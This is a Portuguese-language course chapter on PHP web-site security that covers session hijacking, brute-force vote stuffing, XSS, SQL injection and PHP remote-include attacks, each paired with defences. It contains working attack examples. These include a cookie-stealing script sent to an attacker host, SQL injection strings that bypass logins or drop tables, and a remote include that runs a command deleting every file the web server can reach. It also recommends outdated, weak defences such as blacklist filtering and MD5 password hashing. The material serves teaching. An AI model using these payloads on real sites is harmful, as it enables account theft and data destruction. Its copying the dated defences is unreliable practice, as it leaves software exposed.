Vous êtes sur la page 1sur 37

Captulo

Segurana em Sites desenvolvidos em PHP


Murillo Pontual, Ruy de Queiroz e Jos Henrique Lins Neto

Resumo Com a popularizao da Internet novas oportunidades e aplicaes foram criadas, se antes ela era usada apenas para se enviar emails ou FTPs, hoje em dia ela utilizada desde para compras on-line, at transaes bancrias. Mesmo aqueles que alegam no possurem nenhum dado confidencial na rede, no esto imunes a terem suas informaes pessoais roubadas (e.g. site da Receita Federal, ou mesmo, site de laboratrios clnicos). nesse contexto que se encontra o presente curso, atravs de exemplos prticos desenvolvidos em PHP, Javascript e HTML sero demonstrados vrios tipos de ataques reais a pginas Webs, e suas possveis defesas. Sero descritas tambm sugestes e melhorias que se adotadas tornam um Web Site mais robusto e seguro, afinal, a melhor maneira de proteger um sistema computacional, entender e pensar como o inimigo.

1. Introduo
Com o crescente uso da Internet novas possibilidades e aplicaes surgiram. Se antes era apenas um meio para troca de mensagens e arquivos, hoje em dia ela utilizada desde para compras on-line, at transaes bancrias. Mesmo aqueles que imaginam no possurem nenhum dado confidencial na rede no esto imunes a terem suas informaes pessoais violadas. Afinal, nos tempos atuais, no apenas a Receita Federal armazena os dados dos contribuintes na rede, como tambm o Detran guarda informaes sobre os registros dos carros, e at mesmo Laboratrios Clnicos oferecem os resultados dos exames na Web. Atualmente, os browsers e formulrios da rede so os pontos mais vulnerveis onde os hackers obtm dados de terceiros sem muita dificuldade. nesse contexto que se encontra o presente curso. Primeiramente ser feito um apanhado terico sobre o conceito de criptografia e segurana. A seguir, sero apresentados exemplos prticos desenvolvidos em PHP [Park], Javascript e HTML [Marcondes] de tipos de ataques a pginas Webs [Hoglund] [Foster], tais como: Ataques de Sesso Ataques de Cross-sites Ataques de Fora-Bruta

Ataques de SQL Injection Ataques de PHP Injection

Em seguida sero expostas as defesas e melhoramentos para se evitar a esses tipos de ataques. E por ltimo, ser feita uma breve explanao de como tornar os seus sites mais seguros. Lembre-se, uma corrente por mais forte que seja sempre quebra no seu elo mais frgil. 1.1. Funes Unidirecionais Informalmente uma funo dita unidirecional [Goldwasser] se ela facilmente computada, porm difcil de ser invertida. Uma analogia para uma funo unidirecional (figura 1.), seria pensar nela como um liquidificador, as entradas seriam as frutas e a sada o suco, fcil fazer o suco (computar), porm, dado o suco, praticamente impossvel recuperar as frutas (inverter a funo).

Figura 1. Analogia para uma funo Unidirecional.

1.2. Funo de Hash uma funo unidirecional que recebe como entrada uma string de tamanho varivel, e o converte em uma string de tamanho fixo (geralmente menor) denominado hash. Cada bit modificado na entrada acarreta uma grande modificao da sada. Alm disso, altamente desejvel que as sadas da funo hash se comportem como se fossem funes aleatrias. Desta forma, descobrir uma entrada a partir do hash uma tarefa extremamente difcil. PHP oferece dois algoritmos para calcular funes de Hash [Goldwasser]: 1. MD5: Calcula a hash MD5 [RFC 1321] de uma string de entrada. A sada do algoritmo um nmero de 128 bits em formato hexadecimal de 32-caracteres. Exemplo: <?php $entrada =apple; $saida= md5($entrada); echo $saida; // a sada ser a string 1f3870be274f6c49b3e31a0c6728957f ?>

2. SHA-1: Calcula a sha-1 [RFC 3174] de uma string de entrada. A sada ser um nmero de 160 bits no formato hexadecimal de 40-caracteres. Exemplo: <?php $entrada =apple; $saida= sha1($entrada); echo $saida; // a sada ser a string d0be2dc421be4fcd0172e5afceea3970e2f3d940 ?>

1.3. Criptografia de Chave Assimtrica A Criptografia de Chave Pblica (PKC) foi proposta por Diffie e Hellman [diffie76new], e funciona da seguinte maneira, em uma rede de n usurios (u1,...,un), cada usurio ui da rede possui um par de chaves <pui,sui>, onde pu a chave pblica, e fica armazenada em um diretrio pblico, e su a chave privada, sendo secreta a cada usurio da rede. Para enviar uma mensagem m para ui, qualquer usurio da rede procura a chave pblica de ui, e em seguida utiliza o algoritmo de cifragem E,e envia c=E(m,pui) para ui. Para o usurio ui decifrar a mensagem c, basta usar sua chave privada sui com um algoritmo de decifragem D, obtendo a mensagem inicial m=D(sui,c). A figura 2. contem uma analogia para o PKC, a chave pblica representada pelos bas e cadeados abertos, e a chave privada a nica chave que abre os cadeados.

Figura 2. Analogia para um Criptosistema Assimtrico

1.3.1. HTTPS O HyperText Transfer Protocol [RFC 2616] (HTTP -Protocolo de Transferncia de Hipertexto) um protocolo da camada de Aplicao responsvel pela transferncia de dados na World Wide Web. Apesar de sua larga utilizao, tal protocolo gera um meio

inseguro para troca de informaes confidenciais. Desse modo, foi criado um novo protocolo HTTPS [RFC2660] (HyperText Transfer Protocol Secure), que nada mais do que o protocolo HTTP rodando sobre uma camada SSL [RFC 2246] ou TLS(protocolos criptogrficos). Essa camada adicional permite que os dados sejam transmitidos atravs de uma conexo criptografada e que se verifique a autenticidade do servidor e do cliente atravs de certificados digitais. Assim, sempre que informaes importantes forem trocadas entre o cliente e o servidor deve-se utilizar um servidor HTTPS (e.g, ao se enviar senhas, nmero de carto de crdito, dados pessoais, etc...).

2. Tipos de Ataques a Pginas Webs


Nessa seo sero descritos os tipos mais comuns de ataques a pginas Webs, so eles: Ataques de Sesso O ataque de sesso explora uma vulnerabilidade na sesso do browser, que permite a um hacker no autenticado entrar em zonas do site que exigiram usurios cadastrados. Ataques de Cross-Sites Nesse tipo de ataque um hacker consegue receber informaes pessoais dos cookies do cliente. Ataques de Fora-Bruta Ataques de SQL Injection Nesse ataque um hacker atravs de um script externo tenta obter senhas de um site. um ataque que permite a um hacker inserir cdigos SQL maliciosos atravs de um formulrio do site. Ataques de PHP Injection Nesse ataque, um hacker consegue injetar cdigos maliciosos PHPs atravs de um formulrio do site.

2.1. Ataques de Sesso (Session Hijacking)


Uma sesso um identificador nico que serve para marcar o perodo de tempo que uma pessoa navega em um determinado site. Assim que um usurio entra em um site, podese criar uma sesso e nela armazenar diversos dados, que estaro disponveis em qualquer pgina do site, at que a sesso seja encerrada, ou o browser fechado. O suporte a sesses foi adicionado a partir do PHP 4, e cada sesso identificada atravs de uma ID individual, formada atravs do MD5 do endereo IP remoto, a hora atual e alguns caracteres aleatrios em hexadecimal. Diferentemente dos cookies que so armazenados no computador do cliente, as sesses so armazenadas no Servidor.

Por esse motivo, prefervel criar um controle de acesso com sesses, ao invs de cookies. As sesses so propagadas em um site atravs de duas formas: Cookies Quando o browser do cliente aceita cookies, criado um cookie na mquina do cliente, e dentro desse cookie armazenado o ID da sesso do cliente( o mtodo padro do PHP). Propagao de variveis na URL atravs de uma URL(e.g., O ID da sesso passado http://seusite.com.br?PHPSESSID=1234).

Sempre que possvel prefira manipular sesses atravs de cookies. 2.1.1. Tipos de Ataques a Sesses Existem vrias abordagens para se ganhar acesso a um site utilizando sesses: Predio Consiste em se adivinhar uma ID identificadora da sesso, porm como o mecanismo de gerao de sesses em PHP muito aleatrio, esse mtodo se torna quase invivel na prtica. Captura 1. Caso as sesses estejam sendo propagadas atravs da URL, bastar ao atacante possuir um sniffer (programa que coleta os dados dentro de uma rede) na mesma rede do atacado e ler o ID da vtima. A defesa para esse tipo de ataque a utilizao de um servidor rodando sobre HTTPS. 2. Se as sesses forem propagadas por Cookies, caber ao atacante executar um ataque do tipo XSS, para que o cookie da vtima seja enviado ao adversrio, e com isso ele possa reconstruir a ID da sesso. Como ser visto mais adiante, a defesa para esse tipo de ataque, uma boa configurao do servidor de PHP, e tambm a validao PHP dos formulrios. Exemplo 1: Demonstrao de como utilizar uma ID de sesso Capturada Depois de conseguir uma ID de sesso atravs de algum dos mtodos acima, basta o atacante utilizar esse nmero de sesso na URL do site a ser invadido. Imagine o cenrio do site abaixo: Nesse tipo de ataque o hacker tem duas opes para capturar a ID da sesso.

<?php session_start(); if (!isset($_SESSION['visits'])) { $_SESSION['visits'] = 1; }else{ $_SESSION['visits']++; } echo $_SESSION['visits']; ?> O cdigo acima nada mais do que um contador na sesso.Enquanto a sesso estiver ativa, cada vez que o usurio rodar essa pgina, ser acrescentado e impresso o nmero de vezes que ele rodou essa pgina. Ao rodar esse cdigo, ao final foi acrescentado o nmero de sesso do ataque(http://localhost/php/sess.php?PHPSESSID=1234)(figura 3).

Figura 3. Pgina Executada Atravs do Internet Explorer

Desse modo, at com um outro browser ou de outro computador possvel se acessar a essa pgina(figura 4):

Figura 4. Pgina Executada Atravs do Mozilla

O problema do algoritmo acima, que ele apenas testa se a sesso existe ou no. Desse modo, coube ao hacker apenas descobrir o nmero da sesso. Na prxima seo, ser apresentado um mtodo correto para se autenticar por sesso, imune ao ataque de fixao apresentado anteriormente. 2.1.2. Autenticao por Sesso A autenticao por sesso deve seguir o modelo do esquema apresentado abaixo:

Figura 5. Esquema para autenticao por sesso

Inicialmente o usurio vai se logar no sistema, e isso acontecer atravs de uma conexo segura HTTPS. Primeiramente o login e senha do usurio so validados em javascript e php, e feita uma consulta no banco de dado. Caso a consulta retorne vazia, ele redirecionado para a pgina de logar novamente. De outro modo, criada uma sesso e o usurio redirecionado para o Web Site. Cada pgina do Web site conter um arquivo que testa se existe uma sesso ativa, caso a mesma no exista, o usurio redirecionado para a pgina de logar. Pgina logar.php <form action="validar.php" method="post"> <p> Login: <input name="login" type="text" id="login"></p> </p> Senha: <input name="senha" type="password" id="senha"></p> <input type="submit" name="Submit" value="Logar"> </p> </form>

A pgina validar.php <?php $con=@mysql_connect("localhost","user","A13aYAs7d");//conecta ao banco //funo para validar dados do formulrio function anti_injection($sql) { $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/"),"",$sql); // remove palavras que contenham sintaxe sql $sql = trim($sql);//limpa espaos vazio $sql = strip_tags($sql);//tira tags html e php $sql = addslashes($sql);//Adiciona barras invertidas a uma string return $sql; } // aplicada a funcao para validar a o login, $login=anti_injection($_POST['login']); // aplicada a funo para validar a senha, e a seguir seu md5 tirado $senha=md5(anti_injection($_POST['senha'])); //consulta ao banco $sql="select * from base.tabela where login='$login' and senha='$senha'"; $rs=@mysql_query($sql); $total=@mysql_num_rows($rs); if($total>0){ session_start(); //pega-se o browser do cliente $string = $_SERVER['HTTP_USER_AGENT']; //escolhe-se uma senha $string .= 'UMA SENHA SECRETA'; //cria-se uma sesso que com o valor do md5 do browser concatenado com a senha $_SESSION['HTTP_USER_AGENT'] = md5($string); //redireciona para a pgina principal

header("location:paginaPrincipal.php"); }else{ //se existir erro no sql vai para pagina de logar header("location:sql.php?erro=1"); } ?> A pgina sessao.php Todas as pginas do sistema devem conter a pgina sessao.php <?php session_start(); $string = $_SERVER['HTTP_USER_AGENT']; $string .= 'UMA SENHA SECRETA'; //testa se existe a sesso if (!isset($_SESSION['HTTP_USER_AGENT'])){ header("location:logar.php?erro=2"); }else{ //testa se o contedo da sesso eh diferente do md5 da varivel string if ($_SESSION['HTTP_USER_AGENT'] != md5($string)){ header("location:logar.php?erro=3"); } } ?>

2.2. Ataques de Fora-Bruta


O mtodo de ataque por fora bruta [Pinkas] consiste em se utilizar um programa ou script externo que testa cada combinao de letras e nmeros existentes no teclado, para com isso, tentar descobrir o login e senha de algum usurio cadastrado no site. Alm disso, o atacante pode utilizar um dicionrio de senhas (worldlists) para tornar a tarefa de invaso mais rpida. Nem todos os ataques de fora bruta visam ao roube de informaes. Algumas vezes, os atacantes podem simplesmente querer automatizar alguma tarefa do site, para com isso, ganhar alguma vantagem, como, por exemplo, votar milhares de vezes em algum concurso online.

Exemplo 1: Votando milhares de vezes em um Site Inicialmente o atacante deve abrir o cdigo html do site a ser atacado. A seguir ele vai criar um cdigo fonte parecido com o original, porm no action do form, ele vai colocar o caminho completo da URL para onde se deseja enviar esse formulrio. A seguir vai modificar o valor dos inputs, colocando os dados desejados.E criar tambm um script em javascript com o comando document.form2.submit(), que submete um formulrio. Para que a pgina fique sempre sendo carregada de 1 em 1 segundo, ser colocada a meta-tag a seguir: <meta content="1:ataque.html" httpequiv="refresh"> O site modificado ser como abaixo, e ter o nome de ataque.html: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Untitled Document</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <meta content="1:ataque.html" http-equiv="refresh"> <script language='JavaScript' type='text/JavaScript'> document.form2.submit(); </script> </head> <body> <form name='form2' method='post' action='http://action-path-2/'> <input type='radion' name='voto' value='3l'> <input type='text' name='email' value='meu@email.com'> </form> </body> </html> Por ltimo basta criar uma outra pgina, nela ter um iframe que contm a pgina ataque.html. <iframe src="ataque.html"></iframe>

2.2.1. Biblioteca Grfica GD do PHP Para poder manipular ou criar imagens em PHP necessrio utilizar a biblioteca grfica GD. Tal biblioteca est disponvel a partir da verso 4.3 do PHP, para utiliz-la necessrio habilitar a extenso GD no php.ini, que feito como abaixo: extension=php_gd2.dll Criando Imagens: Para se criar uma imagem necessrio definir um header com o tipo da imagem a ser trabalhada, o PHP suporta 3 tipos de imagens: Imagem JPG header("Content-type: image/jpeg"); Imagem PNG header("Content-type: image/png"); Imagem GIF header("Content-type: image/gif"); A seguir necessrio se criar um suporte com o tamanho da imagem, o que pode ser feito com o comando abaixo: imagecreate(int largura ,int altura) Exemplo: $im = imagecreate(200, 150); Depois deve se definir as cores, que feito com o comando abaixo: imagecolorallocate(imagem, r, g, b) Onde r,g e b tm valores de 0 a 255 e representam uma cor RGB. Exemplo: $cinza = imagecolorallocate($im, 204, 204, 204); A primeira cor criada ser utilizada como a cor de fundo do suporte da imagem Para criar linhas usa-se o comando abaixo: imageline(imagem,xI,yI,xF,yF,Cor)

Onde xI e yI so os pontos de incio da linha e xF e yF so os pontos finais da linha. Exemplo: imageline($im,0,0,200,150,$azul); Para criar arcos deve-se utilizar o comando abaixo: imagearc(handle,RxI,RyI,Altura,Largura,Irad,Frad,Cor) Onde RxI e RyI representam o ponto central do arco. Altura e largura representam respectivamente a altura e largura do arco. E Irad e Frad representam o quando em graus ser rotacionado o arco. Exemplo: imagearc($im,100,75,199,149,0,360,$azul); Para escolher uma fonte deve-se usar o comando abaixo: imageloadfont(caminho e nome da fonte) As fontes devem estar no formato gdf. Se o arquivo que contm a fonte no estiver no mesmo diretrio da pgina que est sendo executado esse script, ento o caminho da fonte deve ser indicado. Exemplo 1: $font = imageloadfont("04b.gdf"); Exemplo 2: $font = imageloadfont(".\\fonts\\04b.gdf"); Para se adicionar um texto a imagem, deve-se usar o comando abaixo: imagestring(imagem, tamanho/fonte, iX, iY,texto,cor) Onde tamanho/fonte representa ou uma fonte definida com o comando imageloadfont, ou um tamanho de 1 a 5. iX e iY so as coordenadas iniciais de onde o texto vai aparecer. texto o string que aparecer na imagem

Exemplo: imagestring($im, 3, 5, 10, "Ol mundo", $azul); Para gerar sua imagem, use os seguintes comandos: Imagem JPG imagejpeg(imagem) Imagem PNG imagepng(imagem) Imagem GIF imagegif(imagem) Ao final use o comando abaixo para eliminar a sua imagem do servidor imagedestroy(handle) Exemplo: <?php header("Content-type: image/jpeg"); $im = imagecreate(200, 150); $cinza = imagecolorallocate($im, 204, 204, 204); $azul = imagecolorallocate($im, 0, 0, 255); imagearc($im,100,75,199,149,0,360,$azul); imagestring($im, 3, 5, 10, "Teste", $azul); imagejpeg($im); imagedestroy($im); ?> O resultado do cdigo acima ser a figura 6:

Figura 6. Figura Exemplo gerada por um cdigo PHP

2.2.2. Autenticao CAPTCHAS Historicamente o teste CAPTCHAS [Turing] (do ingls Completely Automated Public Turing test to tell Computers and Humans Apart) foi proposto por Alan Turing, a idia geral consistia no seguinte, existia um participante que ficava atrs de uma parede e respondia a algumas perguntas de voluntrios (as respostas s podiam ser respondidas com sim ou no). Aleatoriamente o participante era substitudo por um computador. Se os voluntrios no conseguissem perceber essas trocas, ento poderia concluir-se que as mquinas pensam. Atualmente, uma verificao Captcha se baseia na facilidade que os seres humanos tm em reconhecer padres. Desse modo so geradas figuras distorcidas de letras e pedido ao usurio que escreva essas letras. Atravs dessas verificaes possvel impedir o ataque de fora bruta, bem como, que programas robots (tambm conhecidos como bots) se passem por humanos. Pgina inicio.php Esta a pgina inicial, responsvel pela gerao de um conjunto de 5 caracteres aleatrios. Esses por sua vez, sero colocados em uma sesso, que ser transformada em uma imagem Captcha , que ser gerada atravs de uma pgina texto.php. A pgina inicio.php ter um form que ser enviado para a pgina validar.php. <?php //inicia-se uma string vazia $x=""; //o loop abaixo vai gerar 5 letras maisculas aleatrias for($i=0;$i<5;$i++){ if($i==0){ $x.=chr(rand(0,25)+65); }else{ $x=$x."-".chr(rand(0,25)+65); } } //inicia-se a sessao e coloca-se a string x dentro dela session_start(); $_SESSION['nome']=$x; ?> <!dentro de uma tag imagem chamado o script gerador texto.pho --> <p><img src="texto.php"> </p> <form action="validar..php" method="post" name="nome" id="nome">

<input name="palavra" type="text"> <input name="Enviar" type="submit" id="Enviar" value="Enviar"> </form> Pgina texto.php Essa pgina responsvel pela criao da imagem Captcha. <?php //abre-se a sessao session_start(); $letras=$_SESSION['nome']; //transforma-se as letras recebidas em um array $z=explode("-",$letras); //a imagem gerada sera do tipo jpeg header("Content-type:image/jpeg"); //cria-se um suporte de 110 por 50 px $im = @imagecreate(110, 50)or die("erro na imagem"); //a cor de fundo sera cinza $cinza = imagecolorallocate($im, 204, 204, 204); //define-se o diretorio onde estao as fontes $dir = '.\\fonts\\'; //descobre-se quais fonets estao no diretorio, o resultado transformado em array $fonts = scandir($dir); $max = count($fonts) - 2; //para cada letra do array gerado uma imagem for($i=0;$i<count($z);$i++){ //pega-se um numero aleatorio para se escolher a fonte a ser usada $rand = rand(2, $max); //escolhe-se uma fonte aleatoria $font = imageloadfont($dir."/".$fonts[$rand]); //gera-se uma cor aleatoria $cor = imagecolorallocate($im, rand(0,255), rand(0,255), rand(0,255)); //a letra transformada em imagem imagestring($im, $font, 5+$i*20, rand(10,20), $z[$i], $cor);

//gera-se uma nova cor aleatoria // $cor = imagecolorallocate($im, rand(0,255), rand(0,255), rand(0,255)); //gera-se uma linha aleatoria colorida imageline($im,rand(0,100),rand(0,50),rand(0,100),rand(0,50),$cor); } //cria-se a imagem imagejpeg($im); //remove a imagem da memoria imagedestroy($im); ?> Pgina validar.php Essa pgina responsvel pela validao do formulrio recebido da pgina inicial. <?php //abre-se a sessao session_start(); $a=$_SESSION['nome']; $b=explode("-",$a); //a variavel abaixo recebe as letras recebidas da sessao $c=$b[0].$b[1].$b[2].$b[3].$b[4]; //a variavel abaixo recebe o input com o texto escrito pelo usurio da leitura da imagem $k=$_POST['palavra']; //transforma-se todas as letras em minsculas //se a letras da sesso forem iguais a do formulrio, ento est tudo ok if(strtolower($c)==strtolower($k)){ echo "Tudo Ok"; //a sessao destruida unset($_SESSION['nome']); }else{ /*caso os resultados sejam diferentes, o usurio redirecionado para a pgina inicial.php*/ header("location:inicio.php");

} ?> Abaixo a pgina inicial.php, com a imagem Captcha criada:

Figura 7. Autenticao CAPTCHAS

2.3. Ataques de Cross-Sites (XSS)


A tcnica de Cross-Sites scripting (XSS) permite a um hacker executar partes de linguagens de scripts client-side( javascript, vbscript e html) no website atacado. Via de regra, um ataque XSS utilizado para roubar informaes dos Cookies ou Sesses de um usurio que utiliza o site atacado. Exemplo 1: Ataque para testar se um site imune ou no ao XSS Imagine o Site abaixo, que possui uma pagina que recebe uma varivel chamada var:

Figura 8. Site que recebe parmetro passado via GET

A pgina descrita tem o seguinte cdigo: <?php $entrada=@$_GET['var']; echo "bom dia $entrada"; ?> Para testar se essa pgina aceita ou no ataques XSS, basta ao hacker modificar a URL, da seguinte maneira: http://localhost/php/xss.php?var=<script>alert('Buu')</script> De modo que a pgina gerada ser como a mostrada abaixo:

Figura 9. Site atacado via XSS

Esse ataque no trouxe nenhum perigo ao website, entretanto serviu como teste para expor que essa aplicao tem a vulnerabilidade de aceitar XSS. Exemplo 2: Ataque a sites do tipo Frum para roubar Cookies. Imagine um cenrio de um site que aceita entrada de usurios, tais como, sites de relacionamentos, blogs, fotologs, fruns, etc... Nesses tipos de websites, usurios se relacionam entre si, postando mensagens, fotos, e links. Um hacker poderia utilizar ataques XSS para postar o seguinte cdigo: <script> function enviar(){ document.location ='http://www.sitedoatacante.com.br/programa.php?cookie='+document.cookie; } </script> <a href='#' onclick='enviar()'>Clique Aqui</a> O cdigo acima cria uma funo javascript que captura o Cookie da sesso aberta do visitante quando ele clica no link Clique Aqui. Esse ataque funciona da seguinte maneira, um hacker posta a mensagem acima em um site de relacionamentos na rea de um determinado usurio. Esse por sua vez, vai se logar no sistema para poder ter acesso a sua rea privada, ao se logar criado uma sesso, se este usurio clicar no link que o hacker postou, sua sesso ser enviada para o hacker, e esse agora pode conseguir a senha do usurio que foi atacado.

2.3.1. Alguns comandos PHP para se evitar ataques de XSS Para cada varivel que foi recebida atravs dos mtodos GET ou POST deve-se validla com os comandos abaixo:

1. strip_tags() Remove todas as tags de scripts(HTLM,Javascript e PHP) 2. htmlentities() Neutraliza as tags HTML e Javascripts Exemplo 1: Seja o seguinte cdigo: <?php $z="<script>alert('buu')</script>"; $x=htmlentities($z); $k=strip_tags($z); echo $x; echo "<br>"; echo $k; ?> A sada ser como abaixo: <script>alert('buu')</script> alert('buu')

2.4. Ataques de SQL Injection


SQL injection um tipo de ataque que explora uma falha de segurana na aplicao web, mais especificamente na camada de acesso ao banco de dados. O atacante utilizase da vulnerabilidade da no validao dos inputs dos formulrios, ou das variveis passadas atravs do mtodo GET (URL), para injetar comandos SQLs nocivos a aplicao. Os seguintes danos podem ser feitos a um website, caso o mesmo se encontre vulnervel a esse tipo de ataque: Ter acesso indevido a partes que exijam controle de autenticao Apagar tabelas do banco de dados Deletar todos os dados de uma tabela Conseguir dados de uma tabela, como por exemplo, senhas, cpfs, endereos, etc... Inserir caracteres invlidos no banco, etc...

Exemplo 1: Ataque para ganhar Acesso a um WebSite Imagine o Site abaixo, que possui a pgina sql1.php :

Figura 10. Formulrio para Logar

A pgina descrita tem o cdigo html: <form action="sql2.php" method="post"> <p> Login: <input name="login" type="text" id="login"></p> </p> Senha: <input name="senha" type="password" id="senha"></p> <input type="submit" name="Submit" value="Logar"> </p> </form> Ao ser pressionado o boto logar, o login e a senha do usurio so enviados para a pgina sql2.php para serem processados. Caso o login e senha existam no banco de dados, dada a permisso ao usurio de entrar no sistema, caso contrrio, ele redirecionado para a pgina sql1.php, para logar novamente. Abaixo o cdigo da pgina sql2.php <?php $con=@mysql_connect("localhost","root","123"); @mysql_select_dbs(meu_banco); $login=$_POST['login']; $senha=$_POST['senha']; $sql="SELECT * FROM logar WHERE login='$login' AND senha='$senha'"; $rs=mysql_query($sql); $total=mysql_num_rows($rs); if($total>0){ echo "Log permitido no sistema"; }else{ header("location:sql1.php?erro=1"); }

?> Pode ser observado no cdigo acima, que no h nenhuma validao javascript na pgina sql1.php, e tambm no existe nenhuma validao PHP nos dados recebidos na pgina sql2.php. Desse modo, o script acima vulnervel a ataques de SQL Injection. Modo para atacar sites que utilizam o esquema acima: No campo de login pode ser colocada qualquer string, e no campo senha deve-se entrar com uma string como o modelo a seguir: 'or'a'='a Essas duas strings vo gerar um sql como o abaixo: SELECT * FROM logar WHERE login='qualquer' AND senha=''or'a'='a' O SELECT acima sempre verdadeiro, pois a sempre igual a a, e desse modo o atacante ganhar acesso ao site sem possui um login ou senha vlida. Exemplo 2: Ataque via URL para apagar todos os registros de uma tabela Uma URL como abaixo: http://www.site.com.br/produtos/produto.php?id=77 Pode ser atacada da seguinte maneira: http://www.site.com.br/produtos/produto.php?id=77;DELETE FROM produtos Exemplo 3: Ataque via Formulrio para se dropar uma tabela Pode-se gerar um formulrio como abaixo, para se dropar uma tabela: <FORM ACTION="http://www.servidor_atacado.com/busca.php" METHOD="post"> <INPUT TYPE="hidden" NAME="string_busca" VALUE=";DROP TABLE noticias"> <INPUT TYPE="submit"> </FORM> 2.4.1. Alguns comandos PHP para se evitar ataques de SQL Injection Para cada varivel que foi recebida atravs dos mtodos GET ou POST deve-se validla com os comandos abaixo: 1. Troca comandos SQL por strings vazias: $var=preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/"),"",$sql);

2. Remove espaos vazios: $var=trim($sql); 3. Transforma os caracteres de aspas simples ', aspas duplas '' e barra invertida \, colocando uma barra invertida antes dos mesmos: $var=addslashes($sql); Obs.: Se o banco utilizado for o Mysql, utilize a funo abaixo: $var=mysql_escape_string($sql); Ao final pode-se fazer uma funo como abaixo: function anti_injection($sql) { $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/"),"",$sql); $sql = trim($sql); $sql = strip_tags($sql); $sql = addslashes($sql); return $sql; } As variveis que so recebidas atravs dos mtodos GET e POST devem ser validadas como abaixo: $login = anti_injection($_POST["login"]); $senha = anti_injection($_POST["senha"]); Alm disso, deve-se colocar o operador de silncio @ antes de todas as funes PHP que manipulam com o banco de dados. Isso feito, pois caso ocorra um erro com o servidor banco de dados, esses erros no so mostrados ao usurio, como por exemplo, o nome do servidor.

2.5. Ataques de PHP Injection


Code Injection uma tcnica utilizada para se introduzir um cdigo externo a um programa de computador, quando o programa a ser inserido um cdigo desenvolvido na linguagem PHP, e tal cdigo injetado em um Website, sem a permisso do proprietrio, chama-se a esse tipo de ataque de PHP Injection. De maneira geral, o programa inserido atravs de falhas de validao dos formulrios, ou atravs da entrada de variveis atravs de query strings (via URL).

Os seguintes danos podem ser feitos a um website, caso o mesmo se encontre vulnervel a esse tipo de ataque: Modificao das pginas web do website Roubo de informaes dos usurios do site Manipulao do banco de dados O website ser apagado Colocar programas malficos no servidor Etc...

Os sites que so vulnerveis a PHP Injection geralmente possuem as urls com as seguintes terminaes: .php?page= .php?inc= .php?var=

Assim sendo, deve-se evitar fazer um link que tenha uma varivel que receba o nome de uma pgina web. Visto que, um atacante pode modificar o nome dessa pgina, e redirecionar para uma outra pgina que se encontra em outro servidor. Exemplo 1: Ataque de PHP Injection, em PHP verses anteriores a 4.2 <?php session_start(); //$admin uma varivel de sesso que foi criada em uma pgina anterior if(!admin){ header(location:logar.php?erro=1); }else{ do_admin_task(); } ?> Para poder ter permisso de administrador no script acima, basta chamar essa pgina atravs da url, e passar o comando .php?admin=1

Exemplo 2: Ataque de PHP Injection, injetando um script completo. Digamos que seu site possua um script que tem o comando abaixo:

<?php $modulo=$_GET[modulo]; include($modulo..php); ?> Nesse caso basta um hacker chamar o script acima adicionando a url algo como, por exemplo .php?modulo=http://urlDoMl.com/scriptDoMal. Quando o PHP executa a funo include(), tentar incluir a pgina scriptDoMal.php. E tal script poderia conter o seguinte cdigo <?php find /-exec rm {} ; ; ?>, que removeria todos os arquivos acessveis pelo servidor web.

2.5.1. Configurando o PHP para tornar mais difceis os ataques de PHP Injection Voc deve configurar o arquivo php.ini com as seguintes opes: allow_url_fopen = Off Com essa diretiva desativada, no ser possvel abrir ou dar includes em arquivos que no estejam no mesmo servidor que o script est executando. safe_mode = On Com essa diretiva ativada, ser impedido que scripts PHP abram arquivos que no tenham o mesmo UID do script que est sendo rodado. register_globals = Off Com essa diretiva desativada, todas as variveis passadas via GET,POST, COOKIES e SESSIONs tero que ser resgatadas atravs dos arrays super globais. display_errors = Off No mostrar na tela nenhum comentrio de erro, impedindo que eventuais atacantes provoquem erros para descobrir nomes de variveis e a estrutura do seu site.

3. Evitando Ataques de Formulrios e Query String


Javascript [Flanagan ] uma das linguagens de script mais populares na WEB. utilizada por milhes de desenvolvedores para gerar designs dinmicos, validao de formulrios, deteco de navegadores, gerncia de cookies e muito mais. Por ser fcil de entender e com sintaxe semelhante outras linguagens poderosas como Java, PHP e C, o Javascript j est na verso 1.5 e mantm-se completo em relao ao padro de linguagens de seu nvel. O que o deixa com tanta visibilidade no mercado a sua versatilidade. O Javascript implementado em todos os mais usados browsers no mundo. Em nosso mini-curso estaremos mostrando uma parte no muito conhecida mas utilizada no mundo por mestres preocupados na segurana dos dados que so enviados ao servidor.

Apesar de muito til, o Javascript se limita ao lado cliente na arquitetura do ambiente web. Por estar desse lado, qualquer erro que ocorra no cliente no seria detectado no servidor. Outro problema que devido s constantes falhas de segurana observadas nos browsers, os cdigos de Javascript muitas vezes so vistos no como um colaborador dos sistemas deste ambiente, mas sim como vilo. Como resultado, muitos usurios temerosos desses erros desabilitam a execuo desses cdigos em seus navegadores o que impossibilita a execuo dos scripts de verificao de dados no cliente. Conhecida essa fraqueza, faz-se necessria a utilizao de uma verificao dos dados tambm do lado do servidor. Para demonstrar essa verificao, utilizaremos a linguagem PHP. Baseada na sintaxe da linguagem C, a linguagem de script PHP a linguagem que mais ganha adeptos no mundo do desenvolvimento web. J est na verso 5.x com poderosos recursos de Orientao a Objetos e promete muito mais na j esperada verso 6.0. 3.1. Validao Javascript Uma Expresso Regular (ER) um mtodo formal de se especificar um padro de texto. Em outras palavras, uma composio de smbolos e caracteres com funes especiais, chamados "metacaracteres" que, agrupados entre si e com caracteres literais, formam uma seqncia, uma expresso. Essa expresso testada em textos e retorna sucesso caso esse texto obedea exatamente a todas as suas condies. Dizse que o texto "casou" com a expresso. Ou falso, em caso contrrio. A ERs servem para dizer algo abrangente de forma especfica. Definido o padro de busca, temse uma lista (finita ou no) de possibilidades de casamento. Devido sua simplicidade, podemos escrever uma regra pequena e til para buscar ou validar textos e variveis como: data; horrio; nmero IP; endereo de email; endereo de Internet; declarao de uma funo(); dados na coluna N de um texto; dados que esto entre <tags></tags>; nmero de telefone, RG, CPF, carto de crdito; A maior diferena entre se fazer essas verificaes com uma ER e escrevendo um cdigo completo quantidade de linhas escritas.

Tabela 1. Relao de comandos que podem ser utilizados para criar as regras de uma ER:

Smbolo Descrio
